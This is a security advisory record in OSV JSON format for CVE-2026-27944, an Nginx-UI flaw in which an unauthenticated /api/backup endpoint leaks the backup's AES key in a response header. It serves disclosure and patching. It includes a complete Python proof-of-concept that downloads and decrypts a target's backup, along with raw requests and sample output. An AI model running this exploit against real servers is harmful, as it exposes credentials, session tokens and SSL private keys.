{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-311"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:26:41Z",
    "nvd_published_at": "2026-03-05T19:16:05Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup)  // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup)  // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv  // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n  \u2514\u2500\u2500 database.db          // User credentials, session tokens\n  \u2514\u2500\u2500 app.ini              // Configuration with secrets\n  \u2514\u2500\u2500 server.key/cert      // SSL certificates\n\n- nginx.zip (encrypted)\n  \u2514\u2500\u2500 nginx.conf           // Nginx configuration\n  \u2514\u2500\u2500 sites-enabled/*      // Virtual host configs\n  \u2514\u2500\u2500 ssl/*                // SSL private keys\n\n- hash_info.txt (encrypted)\n  \u2514\u2500\u2500 SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n    from Crypto.Cipher import AES\n    from Crypto.Util.Padding import unpad\nexcept ImportError:\n    print(\"Error: pycryptodome required for decryption\")\n    print(\"Install with: pip install pycryptodome\")\n    sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n    \"\"\"\n    Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n    \"\"\"\n    v = (hdr_val or \"\").strip()\n\n    # Format is: key:iv (both base64 encoded)\n    if \":\" in v:\n        parts = v.split(\":\", 1)\n        if len(parts) == 2:\n            return parts[0].strip(), parts[1].strip()\n\n    return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n\n    if len(key) != 32:\n        raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n    if len(iv) != 16:\n        raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n    \"\"\"Extract and decrypt the backup archive\"\"\"\n    print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n    os.makedirs(output_dir, exist_ok=True)\n\n    # Extract the main ZIP (contains encrypted files)\n    with zipfile.ZipFile(encrypted_zip_path, \u0027r\u0027) as main_zip:\n        print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n        main_zip.extractall(output_dir)\n\n    # Decrypt each file\n    encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n    for filename in encrypted_files:\n        filepath = os.path.join(output_dir, filename)\n        if not os.path.exists(filepath):\n            print(f\"[!] Warning: {filename} not found\")\n            continue\n\n        print(f\"[*] Decrypting {filename}...\")\n\n        with open(filepath, \"rb\") as f:\n            encrypted = f.read()\n\n        try:\n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n            # Write decrypted file\n            decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n            with open(decrypted_path, \"wb\") as f:\n                f.write(decrypted)\n\n            print(f\"    \u2192 Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n            # If it\u0027s a ZIP, extract it\n            if filename.endswith(\".zip\"):\n                extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n                os.makedirs(extract_dir, exist_ok=True)\n                with zipfile.ZipFile(BytesIO(decrypted), \u0027r\u0027) as inner_zip:\n                    inner_zip.extractall(extract_dir)\n                    print(f\"    \u2192 Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n        except Exception as e:\n            print(f\"    \u2717 Failed to decrypt {filename}: {e}\")\n\n    # Show hash info\n    hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n    if os.path.exists(hash_info_path):\n        print(f\"\\n[*] Hash info:\")\n        with open(hash_info_path, \"r\") as f:\n            print(f.read())\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n    )\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n    ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n    ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n    args = ap.parse_args()\n\n    url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n    # Unauthenticated request to the backup endpoint\n    req = urllib.request.Request(url, method=\"GET\")\n\n    try:\n        with urllib.request.urlopen(req, timeout=20) as resp:\n            hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n            key, iv = _parse_keys(hdr)\n            data = resp.read()\n    except urllib.error.HTTPError as e:\n        print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        sys.exit(1)\n\n    with open(args.out, \"wb\") as f:\n        f.write(data)\n\n    # Key/IV disclosure in response header enables decryption of the downloaded backup\n    print(f\"\\nX-Backup-Security: {hdr}\")\n    print(f\"Parsed AES-256 key: {key}\")\n    print(f\"Parsed AES IV    : {iv}\")\n\n    if key and iv:\n        # Verify key/IV lengths\n        try:\n            key_bytes = base64.b64decode(key)\n            iv_bytes = base64.b64decode(iv)\n            print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 \u2713)\")\n            print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size \u2713)\")\n        except Exception as e:\n            print(f\"[!] Error decoding keys: {e}\")\n            sys.exit(1)\n\n        if args.decrypt:\n            try:\n                extract_backup(args.out, key, iv, args.extract_dir)\n\n            except Exception as e:\n                print(f\"\\n[!] Decryption failed: {e}\")\n                import traceback\n                traceback.print_exc()\n                sys.exit(1)\n    else:\n        print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n        print(f\"    Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV    : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 \u00e2\u0153\u201c)\n[*] IV length : 16 bytes (AES block size \u00e2\u0153\u201c)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: [\u0027hash_info.txt\u0027, \u0027nginx-ui.zip\u0027, \u0027nginx.zip\u0027]\n[*] Decrypting hash_info.txt...\n    \u00e2\u2020\u2019 Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n    \u00e2\u2020\u2019 Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n    \u00e2\u2020\u2019 Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n    \u00e2\u2020\u2019 Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n    \u00e2\u2020\u2019 Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n\u003cimg width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" /\u003e\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
  "id": "GHSA-g9w5-qffc-6762",
  "modified": "2026-03-05T22:37:19Z",
  "published": "2026-03-05T18:26:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
    },
    {
      "type": "WEB",
      "url": "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure"
}